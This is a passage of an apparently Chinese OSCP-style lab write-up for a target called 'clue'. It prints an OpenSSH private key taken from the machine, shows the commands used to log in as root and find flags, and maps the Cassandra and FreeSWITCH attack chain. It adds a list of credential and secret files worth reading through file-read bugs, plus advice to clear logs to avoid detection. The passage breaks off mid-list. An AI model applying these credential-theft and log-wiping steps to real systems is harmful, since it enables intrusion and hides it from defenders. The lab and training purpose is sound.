&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;-----BEGIN OPENSSH PRIVATE KEY-----
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;NhAAAAAwEAAQAAAQEAw59iC+ySJ9F/xWp8QVkvBva2nCFikZ0VT7hkhtAxujRRqKjhLKJe
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;d19FBjwkeSg+PevKIzrBVr0JQuEPJ1C9NCxRsp91xECMK3hGh/DBdfh1FrQACtS4oOdzdM
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;jWyB00P1JPdEM4ojwzPu0CcduuV0kVJDndtsDqAcLJr+Ls8zYo376zCyJuCCBonPVitr2m
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;B6KWILv/ajKwbgrNMZpQb8prHL3lRIVabjaSv0bITx1KMeyaya+K+Dz84Vu8uHNFJO0rhq
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;gBAGtUgBJNJWa9EZtwws9PtsLIOzyZYrQTOTq4+q/FFpAKfbsNdqUe445FkvPmryyx7If/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;DaMoSYSPhwAAA8gc9JxpHPScaQAAAAdzc2gtcnNhAAABAQDDn2IL7JIn0X/FanxBWS8G9r
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;acIWKRnRVPuGSG0DG6NFGoqOEsol53X0UGPCR5KD4968ojOsFWvQlC4Q8nUL00LFGyn3XE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;QIwreEaH8MF1+HUWtAAK1Lig53N0yNbIHTQ/Uk90QziiPDM+7QJx265XSRUkOd22wOoBws
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;mv4uzzNijfvrMLIm4IIGic9WK2vaYHopYgu/9qMrBuCs0xmlBvymscveVEhVpuNpK/RshP
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;HUox7JrJr4r4PPzhW7y4c0Uk7SuGqAEAa1SAEk0lZr0Rm3DCz0+2wsg7PJlitBM5Orj6r8
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;UWkAp9uw12pR7jjkWS8+avLLHsh/8NoyhJhI+HAAAAAwEAAQAAAQBjswJsY1il9I7zFW9Y
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;etSN7wVok1dCMVXgOHD7iHYfmXSYyeFhNyuAGUz7fYF1Qj5enqJ5zAMnataigEOR3QNg6M
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;mGiOCjceY+bWE8/UYMEuHR/VEcNAgY8X0VYxqcCM5NC201KuFdReM0SeT6FGVJVRTyTo+i
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;CbX5ycWy36u109ncxnDrxJvvb7xROxQ/dCrusF2uVuejUtI4uX1eeqZy3Rb3GPVI4Ttq0+
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;0hu6jNH4YCYU3SGdwTDz/UJIh9/10OJYsuKcDPBlYwT7mw2QmES3IACPpW8KZAigSLM4fG
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;Y2Ej3uwX8g6pku6P6ecgwmE2jYPP4c/TMU7TLuSAT9TpAAAAgG46HP7WIX+Hjdjuxa2/2C
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;gX/VSpkzFcdARj51oG4bgXW33pkoXWHvt/iIz8ahHqZB4dniCjHVzjm2hiXwbUvvnKMrCG
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;krIAfZcUP7Ng/pb1wmqz14lNwuhj9WUhoVJFgYk14knZhC2v2dPdZ8BZ3dqBnfQl0IfR9b
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;yyQzy+CLBRAAAAgQD7g2V+1vlb8MEyIhQJsSxPGA8Ge05HJDKmaiwC2o+L3Er1dlktm/Ys
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;kBW5hWiVwWoeCUAmUcNgFHMFs5nIZnWBwUhgukrdGu3xXpipp9uyeYuuE0/jGob5SFHXvU
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;DEaXqE8Q9K14vb9by1RZaxWEMK6byndDNswtz9AeEwnCG0OwAAAIEAxxy/IMPfT3PUoknN
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;Q2N8D2WlFEYh0avw/VlqUiGTJE8K6lbzu6M0nxv+OI0i1BVR1zrd28BYphDOsAy6kZNBTU
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;iw4liAQFFhimnpld+7/8EBW1Oti8ZH5Mx8RdsxYtzBlC2uDyblKrG030Nk0EHNpcG6kRVj
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;4oGMJpv1aeQnWSUAAAAMYW50aG9ueUBjbHVlAQIDBAUGBw&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;-----END OPENSSH PRIVATE KEY-----
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="提权root"&gt;提权root
&lt;/h2&gt;&lt;p&gt;然后在kali中复制这个密钥，然后直接用密钥登录即可。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cat &amp;gt; id_rsa
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;chmod &lt;span class="m"&gt;600&lt;/span&gt; id_rsa
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;ssh -i id_rsa root@192.168.133.240
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里不知道为什么只能root登录而不是Anthony登录，按道理来说应该都能登录的。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822224734669.png"&gt;
找到提权后的flag
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822224837343.png"&gt;
这里提示smb服务开启，但是没什么用
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822225129633.png"&gt;
实在是找不到第一个local那个flag在哪里，看了一下官方提示
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822225716050.png"&gt;
直接find找吧，OSCP的flag命名很规范，直接找名字就行。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;find / -type f -name &lt;span class="s2"&gt;&amp;#34;local.txt&amp;#34;&lt;/span&gt; -print 2&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;cat /var/lib/freeswitch/local.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822230353422.png"&gt;&lt;/p&gt;
&lt;h2 id="总结"&gt;总结
&lt;/h2&gt;&lt;h3 id="入侵路径示意图"&gt;入侵路径示意图
&lt;/h3&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;
flowchart TD
 %% 资产列表
 A[Kali攻击机 &lt;br&gt; 192.168.45.187]
 B[靶机 &lt;br&gt; 192.168.133.240]
 C[cassie账户密码]
 D[freeswitch的webshell]
 E[切cassie账户]
 F[root密钥]

 %% 路径关系
 A--&gt;|扫描|B
 B--&gt;|Cassandra远程文件读取漏洞|C
 B--&gt;|freeswitch命令执行漏洞|D
 D--&gt;E
 C--&gt;E
 E--&gt;|Cassandra本地文件读取|F
 

	%% 线型：---（实线）、-.-&gt;（虚线）、==&gt;（粗箭头）
	%% --&gt;|是|：带条件文本的连接
	%% 矩形节点[ ]，菱形决策节点{ }，圆弧方节点()
 %% 样式定义
 classDef attack fill:#ffcccc,stroke:#ff0000,stroke-width:2px;
 classDef public fill:#ffeecc,stroke:#ff9900,stroke-width:2px; 
 classDef internal fill:#ccffcc,stroke:#009900,stroke-width:2px; 
 %% 线型与颜色方案（亮色/暗色通用）
	linkStyle default stroke:#666666,stroke-width:2px,stroke-dasharray:0; 

 %% 应用样式
 class A attack;
 class B,C,D public;
 class E,F internal;&lt;/pre&gt;&lt;h3 id="入侵时间表"&gt;入侵时间表
&lt;/h3&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;gantt
 title 攻击时间表
 dateFormat YYYY-MM-DD HH:mm
 axisFormat %H:%M
 
 section 侦察阶段
 目标扫描 :a1, 2025-08-22 15:40, 2025-08-22 16:40
 漏洞识别 :a2, after a1, 20m
 
 section 攻击阶段
 初始访问 :b1, after a2, 20m
 权限提升 :crit,b2, after b1, 40m
 
 section 后渗透阶段
 数据窃取 :c1, after b2, 5m&lt;/pre&gt;&lt;hr&gt;
&lt;h2 id="有哪些容易泄露配置信息的文件"&gt;有哪些容易泄露配置信息的文件？
&lt;/h2&gt;&lt;p&gt;在利用文件读取漏洞进行渗透测试时，优先读取以下高价值文件可快速获取关键信息，推动后续攻击链的构建。根据漏洞利用目标和系统环境，推荐按优先级读取以下文件：&lt;/p&gt;
&lt;h3 id="-一系统关键文件linuxunix"&gt;🔍 ​&lt;strong&gt;​一、系统关键文件（Linux/Unix）​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​&lt;code&gt;/etc/passwd&lt;/code&gt;​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​价值​&lt;/strong&gt;​：泄露所有用户账户信息（UID/GID、Shell类型），为暴力破解或权限提升提供目标列表。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​后续利用​&lt;/strong&gt;​：结合弱口令攻击或 &lt;code&gt;suid&lt;/code&gt;程序提权。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​&lt;code&gt;/etc/shadow&lt;/code&gt;​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​价值​&lt;/strong&gt;​：存储用户密码哈希（需root权限读取），破解后可获取系统权限。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​注意​&lt;/strong&gt;​：若漏洞权限不足，需结合其他漏洞（如路径遍历）尝试读取。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​&lt;code&gt;/etc/group&lt;/code&gt;​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​价值​&lt;/strong&gt;​：获取用户组信息，识别高权限组（如 &lt;code&gt;sudo&lt;/code&gt;、&lt;code&gt;docker&lt;/code&gt;），辅助横向移动。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="-二应用敏感文件"&gt;💻 ​&lt;strong&gt;​二、应用敏感文件​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​Web服务器配置​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​Nginx/Apache​&lt;/strong&gt;​：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;etc/nginx/nginx.conf&lt;/code&gt;、&lt;code&gt;etc/httpd/conf/httpd.conf&lt;/code&gt;：获取虚拟主机配置、反向代理规则，发现隐藏服务或内部网络信息。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​数据库凭据​&lt;/strong&gt;​：
&lt;ul&gt;
&lt;li&gt;如 &lt;code&gt;WEB-INF/web.xml&lt;/code&gt;（Java Web应用）、&lt;code&gt;config.php&lt;/code&gt;（PHP应用）：泄露数据库连接字符串，直接访问数据库。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​环境配置文件​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​&lt;code&gt;.env&lt;/code&gt;文件​&lt;/strong&gt;​：存储API密钥、加密密钥等敏感信息，常见于Node.js/Python应用。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​Kubernetes配置​&lt;/strong&gt;​：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/var/run/secrets/kubernetes.io/serviceaccount/token&lt;/code&gt;：获取Service Account Token，接管K8s集群。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="-三动态信息与日志文件"&gt;📂 ​&lt;strong&gt;​三、动态信息与日志文件​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​&lt;code&gt;/proc/self/environ&lt;/code&gt;​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​价值​&lt;/strong&gt;​：暴露进程环境变量（如 &lt;code&gt;PATH&lt;/code&gt;、&lt;code&gt;SECRET_KEY&lt;/code&gt;），可能包含硬编码凭据或调试信息。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​&lt;code&gt;/proc/self/cmdline&lt;/code&gt;​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​价值​&lt;/strong&gt;​：揭示当前进程启动命令及参数，辅助识别应用框架或配置路径。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​系统日志​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/var/log/auth.log&lt;/code&gt;（Linux）：查看SSH登录记录，定位管理员IP或爆破痕迹。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Windows\System32\winevt\Logs\Security.evtx&lt;/code&gt;（Windows）：分析安全事件日志。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="-四特殊路径与内存文件"&gt;⚙️ ​&lt;strong&gt;​四、特殊路径与内存文件​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​临时文件与缓存​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/tmp/&lt;/code&gt;、&lt;code&gt;/dev/shm/&lt;/code&gt;：查找上传的恶意脚本或缓存数据（如Session文件）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​内核与内存映射​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/proc/kallsyms&lt;/code&gt;（需root）：泄露内核函数地址，绕过ASLR防护。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/dev/mem&lt;/code&gt;：直接访问物理内存，提取加密密钥（需高权限）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="-五针对java应用的专项读取"&gt;🎯 ​&lt;strong&gt;​五、针对Java应用的专项读取​&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;​&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​&lt;code&gt;WEB-INF/classes/&lt;/code&gt;目录​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​价值​&lt;/strong&gt;​：读取编译后的 &lt;code&gt;.class&lt;/code&gt;文件，反编译获取业务逻辑漏洞（如硬编码密钥）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​&lt;code&gt;WEB-INF/web.xml&lt;/code&gt;​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​价值​&lt;/strong&gt;​：解析Servlet映射、过滤器配置，发现未授权访问点或安全绕过路径。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​&lt;code&gt;JAR/WAR 文件&lt;/code&gt;​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;如 &lt;code&gt;lib/application.jar&lt;/code&gt;：解压后分析依赖库漏洞（如Log4j）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="-防御规避与注意事项"&gt;🛡️ ​&lt;strong&gt;​防御规避与注意事项​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​合法性​&lt;/strong&gt;​：仅在授权范围内测试，避免读取用户隐私数据。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​隐蔽性​&lt;/strong&gt;​：
&lt;ul&gt;
&lt;li&gt;清理日志（如覆盖 &lt;code&gt;/var/log/apache2/access.log&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;避免频繁请求，触发WAF/IDS告警。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​工具辅助​&lt;/strong&gt;​：
&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;jd-gui&lt;/code&gt;反编译 &lt;code&gt;.class&lt;/code&gt;文件。&lt;/li&gt;
&lt;li&gt;通过 &lt;code&gt;pwntools&lt;/code&gt;自动化解析内存偏移。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="-总结优先级策略"&gt;💎 ​&lt;strong&gt;​总结：优先级策略​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​快速突破​&lt;/strong&gt;​：&lt;code&gt;/etc/passwd&lt;/code&gt;→ &lt;code&gt;/proc/self/environ&lt;/code&gt;→ 应用配置文件。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​深度渗透​&lt;/strong&gt;​：数据库凭据 → 日志文件 → 内核/内存文件。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​源码反制​&lt;/strong&gt;​：Java &lt;code&gt;.class&lt;/code&gt;文件 → 依赖库扫描 → 反编译分析。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2 id="find命令的妙用"&gt;find命令的妙用
&lt;/h2&gt;&lt;p&gt;要高效查找 &lt;code&gt;local.txt&lt;/code&gt;文件，需优化 &lt;code&gt;find /&lt;/code&gt;命令以避免全盘扫描并提升定位精度。以下是针对性优化方案及命令：&lt;/p&gt;
&lt;h3 id="-优化后的查找命令"&gt;🔍 ​&lt;strong&gt;​优化后的查找命令​&lt;/strong&gt;​
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;find / -type f -name &amp;#34;local.txt&amp;#34; -print 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;​&lt;strong&gt;​关键优化点​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​限定文件类型​&lt;/strong&gt;​：&lt;code&gt;-type f&lt;/code&gt;仅搜索普通文件，跳过目录、符号链接等无关项。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​精准文件名匹配​&lt;/strong&gt;​：&lt;code&gt;-name &amp;quot;local.txt&amp;quot;&lt;/code&gt;严格匹配目标文件名，避免模糊搜索的开销。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​抑制错误输出​&lt;/strong&gt;​：&lt;code&gt;2&amp;gt;/dev/null&lt;/code&gt;隐藏权限不足等报错，减少终端干扰。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="-进阶场景优化"&gt;⚙️ ​&lt;strong&gt;​进阶场景优化​&lt;/strong&gt;​
&lt;/h3&gt;&lt;h4 id="1-限制搜索深度减少扫描范围"&gt;1. ​&lt;strong&gt;​限制搜索深度（减少扫描范围）​&lt;/strong&gt;​
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;find / -maxdepth 3 -type f -name &amp;#34;local.txt&amp;#34; 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​适用场景​&lt;/strong&gt;​：已知文件位于顶层目录（如 &lt;code&gt;/etc/&lt;/code&gt;、&lt;code&gt;/tmp/&lt;/code&gt;）时，通过 &lt;code&gt;-maxdepth 3&lt;/code&gt;限制子目录层级，速度提升显著。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-组合条件搜索时间大小过滤"&gt;2. ​&lt;strong&gt;​组合条件搜索（时间/大小过滤）​&lt;/strong&gt;​
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 查找最近7天内修改过的 local.txt
find / -type f -name &amp;#34;local.txt&amp;#34; -mtime -7 2&amp;gt;/dev/null

# 查找大于1KB的 local.txt
find / -type f -name &amp;#34;local.txt&amp;#34; -size +1k 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​适用场景​&lt;/strong&gt;​：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-mtime -7&lt;/code&gt;：文件近期被修改过（如渗透测试中的后门文件）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-size +1k&lt;/code&gt;：排除空文件或小体积缓存文件。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-权限所有者过滤"&gt;3. ​&lt;strong&gt;​权限/所有者过滤​&lt;/strong&gt;​
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 查找属主为 root 的 local.txt
find / -type f -name &amp;#34;local.txt&amp;#34; -user root 2&amp;gt;/dev/null

# 查找权限为644的 local.txt
find / -type f -name &amp;#34;local.txt&amp;#34; -perm 644 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​适用场景​&lt;/strong&gt;​：快速定位系统关键文件或配置。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="-替代方案更高效率"&gt;💡 ​&lt;strong&gt;​替代方案（更高效率）​&lt;/strong&gt;​
&lt;/h3&gt;&lt;h4 id="使用-locate命令需先更新数据库"&gt;使用 &lt;code&gt;locate&lt;/code&gt;命令（需先更新数据库）：
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo updatedb # 更新文件数据库（需root权限）
locate local.txt # 秒级检索（依赖定期更新的数据库）
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​优势​&lt;/strong&gt;​：比 &lt;code&gt;find&lt;/code&gt;快数十倍，适合频繁搜索固定文件。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​注意​&lt;/strong&gt;​：新建文件需等待数据库更新（默认每日自动更新）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="-注意事项"&gt;⚠️ ​&lt;strong&gt;​注意事项​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​权限问题​&lt;/strong&gt;​：搜索系统目录（如 &lt;code&gt;/etc/&lt;/code&gt;、&lt;code&gt;/root/&lt;/code&gt;）需 &lt;code&gt;sudo&lt;/code&gt;权限，否则结果不全。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​性能影响​&lt;/strong&gt;​：全盘扫描（&lt;code&gt;find /&lt;/code&gt;）可能加重磁盘负载，建议在非高峰时段执行。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​精确路径​&lt;/strong&gt;​：若已知大致路径（如 &lt;code&gt;/var/log/&lt;/code&gt;），直接指定路径而非根目录 &lt;code&gt;/&lt;/code&gt;，效率更高。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="-命令执行效果对比"&gt;📊 ​&lt;strong&gt;​命令执行效果对比​&lt;/strong&gt;​
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;​&lt;strong&gt;​方法​&lt;/strong&gt;​&lt;/th&gt;
 &lt;th&gt;​&lt;strong&gt;​速度​&lt;/strong&gt;​&lt;/th&gt;
 &lt;th&gt;​&lt;strong&gt;​精度​&lt;/strong&gt;​&lt;/th&gt;
 &lt;th&gt;​&lt;strong&gt;​适用场景​&lt;/strong&gt;​&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;find / -name &amp;quot;local.txt&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;慢&lt;/td&gt;
 &lt;td&gt;高&lt;/td&gt;
 &lt;td&gt;全盘精准搜索&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;find / -maxdepth 3 ...&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;中&lt;/td&gt;
 &lt;td&gt;中&lt;/td&gt;
 &lt;td&gt;限定深度快速扫描&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;locate local.txt&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;极快&lt;/td&gt;
 &lt;td&gt;依赖更新&lt;/td&gt;
 &lt;td&gt;高频检索已知文件&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id="为什么root可以登录成功而anthony用户无法用密钥登录"&gt;为什么root可以登录成功而Anthony用户无法用密钥登录？
&lt;/h2&gt;&lt;p&gt;根据 &lt;code&gt;.bash_history&lt;/code&gt;记录和测试现象，结合 SSH 密钥认证机制，&lt;code&gt;anthony&lt;/code&gt;用户连接失败而 &lt;code&gt;root&lt;/code&gt;用户成功的原因可能如下：&lt;/p&gt;
&lt;h3 id="-核心原因分析"&gt;⚠️ ​&lt;strong&gt;​核心原因分析​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​密钥文件权限问题（anthony 用户）​&lt;/strong&gt;​
&lt;ul&gt;
